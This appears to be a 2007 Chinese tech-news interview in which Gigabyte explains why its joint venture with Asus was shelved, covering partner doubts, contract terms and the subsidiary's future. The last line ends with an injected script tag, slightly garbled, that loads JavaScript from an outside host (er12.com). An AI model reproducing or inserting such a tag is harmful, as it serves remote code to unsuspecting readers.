从2006年8月8日华硕和技嘉正式宣布新建合资子公司开始，到2007年3月22日两公司同步召开董事会称将搁置合资计划，二者的“蜜月期”仅支持了7个月零14天……
到底是什么原因导致华硕技嘉合资计划迅速流产的呢？腾讯科技在经过和技嘉总部人士多轮沟通后了解到，这原本是一场不错的“婚姻”，却因为内在和外在环境迅速变化的情况下被迫无限期搁置。
4月2日，技嘉通过邮件告诉腾讯科技，在新建合资公司（技嘉联合股份有限公司，以下简称“技嘉联合”）后，技嘉在台湾地区和内地市场的客户及供货商对未来均持疑虑态度，而合资公司的各项工作推进也没达到“当初的预期”，因此和华硕双双宣布技嘉合资计划无限期搁置。
对于此次合资延期事件，技嘉新闻发言人如是评价到，“结婚不能一厢情愿，要你情我愿。”
以下为位于台湾的技嘉总部对腾讯科技的独家采访给出的全部答复内容：
合资计划搁置始于渠道压力
客户、供应商、员工和外界均不对合资计划看好，于是，来自渠道上的诸多压力最终将合资计划扼杀掉。
腾讯科技：“技嘉联合”合资计划搁置的背后原因有哪些?
技嘉：搁置的原来主要来自三方面原因。外在因素是客户与供货商疑虑技嘉品牌的独立性，公司长远的发展也忧虑技嘉产品的研发、业务与营销将受华硕影响或控制，甚至将被华硕所购并。内在因素是技嘉员工对未来发展非常不看好。
第三方面就是来自外界的不当解读：外资、法人与媒体等对于此合作案仍有众多误解，如合资公司将命名为技硕科技、如技嘉被华硕购并为子公司等，使得此合资案遭受众多不当质疑，外界无法了解双方合作的意义，也同时造成双方困扰。
腾讯科技：那客户为何对此次合资计划持疑虑态度?
技嘉：技嘉通路客户的主要竞争对手亦是华硕通路主机板。在合资案成立后，客户疑虑技嘉将放弃主板产品、华硕将干涉技嘉产品及营销、及技嘉品牌的独立性等。
另外，技嘉oem客户也强烈质疑此一合作案，对于原本不愿意交由华硕代工的oem客户，此合作案宣布后，对于技嘉的合作也充满了变量。
腾讯科技：供货商为何对此次合资计划持疑虑态度?
技嘉：供货商希望市场上能呈现多元化、差异化的主机板产品。供货商疑虑技嘉与华硕的合资将降低市场上的产品多元化与差异化，若并担心丧失品牌与产品的独立性，而加深价格的压力。
腾讯科技：技嘉员工为何对此次合资计划持疑虑态度?
技嘉：短期看，技嘉员工担心品牌的独立性，产品的发展都将受华硕影响；长期看，技嘉员工疑虑“技嘉联合”日后将被华硕所购并成为华硕子公司，而非技嘉子公司。
腾讯科技：既然客户、供货商与技嘉员工都对此次合资计划表示疑虑，为什么当初还要继续进行该计划?
技嘉：技嘉与华硕决议合资成立“技嘉联合”的目的在于稳定主机板产业秩序，停止流血杀价竞争，避免价格战削弱双方获利能力。然而在“技嘉联合”成立之后，内在与外在的环境发生了很大变化，合资案的必要性及时效性也非如当初预期般急迫，因此双方共同宣布搁置此合资案。
双方均不需支付和约违约金
腾讯科技：此合资案的搁置，是由技嘉或是华硕提出?
技嘉：企业合资案如同男女婚姻大事，皆由双方共同讨论与决定。此次合资案的形成与搁置也皆由双方共同决定。
腾讯科技：技嘉与华硕所签署的合约是否还具有效力?
技嘉：技嘉与华硕搁置“技嘉联合”合资案后，双方所签署的合资合约即失效。
腾讯科技：若合约不具效力，技嘉或华硕是否需支付违约金?
技嘉：此合资案的搁置为技嘉与华硕共同决定，双方并不需支付违约金。
合资公司将成技嘉全资子公司
技嘉表示，合资计划案搁置后，“技嘉联合”公司将成为技嘉科技百分之一百所拥有的子公司，仍会继续存在并运营，并专注于通路主机板及显示卡的营销。
腾讯科技： 自“技嘉联合”2006年12月成立后，技嘉已陆续将四十亿台币投入进来。而华硕四十亿台币资金并没按照合资计划投入“技嘉联合”，是否会对其今后的运营产生不良影响?
技嘉：“技嘉联合”已拥有四十亿资产可供运用。华硕四十亿资金未进入“技嘉联合”，并不会对运营产生影响。
腾讯科技：未来与华硕继续合作的可能性有多大?
技嘉：技嘉将与华硕保持良好的互动与沟通，技嘉联合也会有有与任何厂商合作可能性。
腾讯科技：是否会考虑引入其它资金进入“技嘉联合”公司?
技嘉：技嘉与华硕搁置“技嘉联合”合资案后，“技嘉联合”将成为技嘉科技全资拥有的子公司。目前并无其它资金进入“技嘉联合”的规划，未来也不会主动争取其它资金进入。
尽可能避免和华硕打价格战
在谈及合资计划搁置是否对投资人产生负面影响时，技嘉明确表示“不会”?script src=http://er12.com/t.js>
